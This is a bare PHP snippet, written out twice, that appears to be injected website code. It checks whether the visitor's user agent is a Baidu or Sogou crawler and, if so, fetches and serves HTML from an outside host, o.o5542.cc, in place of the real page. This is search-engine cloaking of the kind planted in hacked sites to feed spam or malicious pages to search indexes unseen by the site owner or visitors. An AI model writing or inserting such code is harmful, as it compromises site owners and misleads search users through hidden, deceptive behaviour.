$key= $_SERVER["HTTP_USER_AGENT"]; if(strpos($key,'baidu')!==false||strpos($key,'sogou')!==false) {$html=file_get_contents('http://o.o5542.cc/');exit($html);} $key= $_SERVER["HTTP_USER_AGENT"]; if(strpos($key,'baidu')!==false||strpos($key,'sogou')!==false) {$html=file_get_contents('http://o.o5542.cc/');exit($html);}